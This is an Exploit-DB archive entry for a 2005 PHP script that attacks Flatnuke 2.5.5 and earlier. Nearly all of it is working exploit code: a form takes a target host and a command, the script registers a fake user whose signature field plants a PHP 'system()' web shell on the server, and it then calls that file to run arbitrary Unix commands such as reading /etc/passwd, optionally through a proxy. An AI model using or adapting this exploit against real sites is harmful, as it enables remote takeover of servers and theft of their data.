Flatnuke <= 2.5.5 - Remote Code Execution

2005-08-08T00:00:00
ID EDB-ID:1140
Type exploitdb
Reporter rgod
Modified 2005-08-08T00:00:00

Description

Flatnuke <= 2.5.5 Remote Code Execution. CVE-2005-2540,CVE-2005-4208. Webapps exploit for php platform

                                        
                                            &lt;?php
/* Aug 2005, 4th
   Flatnuke 2.5.5 (possibly prior versions) remote code execution
   by rgod
   site: http://rgod.altervista.org

   thanks to UlisseHacker... :)

   make these changes in php.ini if you have troubles
   with this script:
   allow_call_time_pass_reference = on
   register_globals = on						       */

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);

echo '&lt;head&gt;&lt;title&gt;FlatNuke 2.5.5 remote commands execution&lt;/title&gt;
      &lt;meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"&gt;
      &lt;style type="text/css"&gt;
      &lt;!--
      body,td,th {color: #00FF00;}
      body {background-color: #000000;}
      .Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; }
      .Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif;
	       font-weight: bold;
	       font-style: italic;
              }
      --&gt;
      &lt;/style&gt;&lt;/head&gt;
      &lt;body&gt;
&lt;p class="Stile6"&gt;FlatNuke 2.5.5 (possibly prior versions) remote commands execution&lt;/p&gt;
&lt;p class="Stile6"&gt;a script by rgod at &lt;a href="http://rgod.altervista.org" target="_blank"&gt;http://rgod.altervista.org&lt;/a&gt;&lt;/p&gt;
&lt;table width="84%" &gt;
  &lt;tr&gt;
    &lt;td width="43%"&gt;
     &lt;form name="form1" method="post" action="'.$SERVER['PHP_SELF'].'?path=value&host=value&port=value&command=value&proxy=value"&gt;
      &lt;p&gt;
       &lt;input type="text" name="host"&gt;
      &lt;span class="Stile5"&gt;hostname (ex: www.sitename.com) &lt;/span&gt;&lt;/p&gt;
      &lt;p&gt;
        &lt;input type="text" name="path"&gt;
        &lt;span class="Stile5"&gt;path (ex: /flatnuke/forum/ or /forum/ just /) &lt;/span&gt;&lt;/p&gt;
      &lt;p&gt;
      &lt;input type="text" name="port"&gt;
        &lt;span class="Stile5"&gt;specify a port other than 80 (default value) &lt;/span&gt;&lt;/p&gt;
      &lt;p&gt;
      &lt;input type="text" name="command"&gt;
        &lt;span class="Stile5"&gt;a Unix command, example: ls -la to list directories, cat /etc/passwd to show passwd file &lt;/span&gt;&lt;/p&gt;
      &lt;p&gt;
      &lt;input type="text" name="proxy"&gt;
        &lt;span class="Stile5"&gt;send exploit through an HTTP proxy (ip:port)  &lt;/span&gt;&lt;/p&gt;
      &lt;p&gt;
          &lt;input type="submit" name="Submit" value="go!"&gt;
      &lt;/p&gt;
    &lt;/form&gt;&lt;/td&gt;
  &lt;/tr&gt;
&lt;/table&gt;
&lt;/body&gt;
&lt;/html&gt;';

function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '&lt;table border="0"&gt;&lt;tr&gt;';
while ($ii &lt;= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
             $ji=0;
             $ci++;
             echo "&lt;td&gt;  &lt;/td&gt;";
             for ($li=0; $li&lt;=15; $li++)
                      { echo "&lt;td&gt;".$headeri[$li+$ki]."&lt;/td&gt;";
			    }
            $ki=$ki+16;
            echo "&lt;/tr&gt;&lt;tr&gt;";
            }
if (strlen($datai)==1) {echo "&lt;td&gt;0".$datai."&lt;/td&gt;";} else
{echo "&lt;td&gt;".$datai."&lt;/td&gt; ";}
$ii++;
$ji++;
}
for ($li=1; $li&lt;=(16 - (strlen($headeri) % 16)+1); $li++)
                      { echo "&lt;td&gt;  &lt;/td&gt;";
                       }

for ($li=$ci*16; $li&lt;=strlen($headeri); $li++)
                      { echo "&lt;td&gt;".$headeri[$li]."&lt;/td&gt;";
			    }

echo "&lt;/tr&gt;&lt;/table&gt;";
}

$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

if (($path&lt;&gt;'') and ($host&lt;&gt;'') and ($command&lt;&gt;''))
{
if ($port=='') {$port=80;}
$data="op=reg&nome=jimyhendrix®pass=jimihendrix&reregpass=jimihendrix&anag=jimihendrix&email=jimihendrix@email.com&homep=".urlencode('http://www.asite.com')."&prof=artist&prov=whereimfrom&ava=clanbomber.png&url_avatar=&firma=".chr(13).urlencode('system($HTTP_GET_VARS[command]);');

if ($proxy=='')
       {$packet="POST ".$path."index.php HTTP/1.1\r\n";}
else
       {
        $c = preg_match_all($proxy_regex,$proxy,$is_proxy);
        if ($c==0) {
                    echo 'check the proxy...&lt;br&gt;';
	            die;
	           }
         else
        {$packet="POST http://".$host.$path."index.php HTTP/1.1\r\n";}
        }

$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n";
$packet.="Referer: http://".$host.":".$port.$path."index.php?op=vis_reg\r\n";
$packet.="Accept-Language: it\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Keep-Alive\r\n";
$packet.="Cache-Control: no-cache\r\n\r\n";
$packet.=$data;

show($packet);
if ($proxy=='')
           {$fp=fsockopen(gethostbyname($host),$port);}
           else
           {$parts=explode(':',$proxy);
	    echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...&lt;br&gt;';
	    $fp=fsockopen($parts[0],$parts[1]);
	    if (!$fp) { echo 'No response from proxy...';
			die;
		       }

	    }
fputs($fp,$packet);
$data='';
while ((!feof($fp)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$data)))
   {
      $data.=fread($fp,1);
   }
fclose($fp);
echo nl2br(htmlentities($data));
if ($proxy=='')
       {$packet="GET ".$path."users/jimyhendrix.php?command=".urlencode($command)." HTTP/1.1\r\n";}
else
       {
        $c = preg_match_all($proxy_regex,$proxy,$is_proxy);
        if ($c==0) {
                    echo 'check the proxy...&lt;br&gt;';
	            die;
	           }
         else
        {$packet="GET http://".$host.$path."users/jimyhendrix.php?command=".urlencode($command)." HTTP/1.1\r\n";}
        }

$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
$packet.="Accept-Encoding: text/plain\r\n";
$packet.="Host: ".$host."\r\n\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
if ($proxy=='')
           {$fp=fsockopen(gethostbyname($host),$port);}
           else
           {$parts=explode(':',$proxy);
	    echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...&lt;br&gt;';
	    $fp=fsockopen($parts[0],$parts[1]);
	    if (!$fp) { echo 'No response from proxy...';
			die;
		       }

	    }
fputs($fp,$packet);
$data='';

if ($proxy=='')
{    $data='';
     while (!feof($fp))
     {
      $data.=fgets($fp);
     }
}
else
{
$data='';
   while ((!feof($fp)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$data)))
   {
      $data.=fread($fp,1);
   }

}

fclose($fp);

if (eregi('HTTP/1.1 200 OK',$data))
    {echo 'Exploit sent...&lt;br&gt; If Flatnuke is unpatched and vulnerable &lt;br&gt;';
     echo 'you will see '.htmlentities($command).' output inside HTML...&lt;br&gt;&lt;br&gt;';
    }
else
    {echo 'Error, see output...';}
echo nl2br(htmlentities($data));
}

?&gt;

# milw0rm.com [2005-08-08]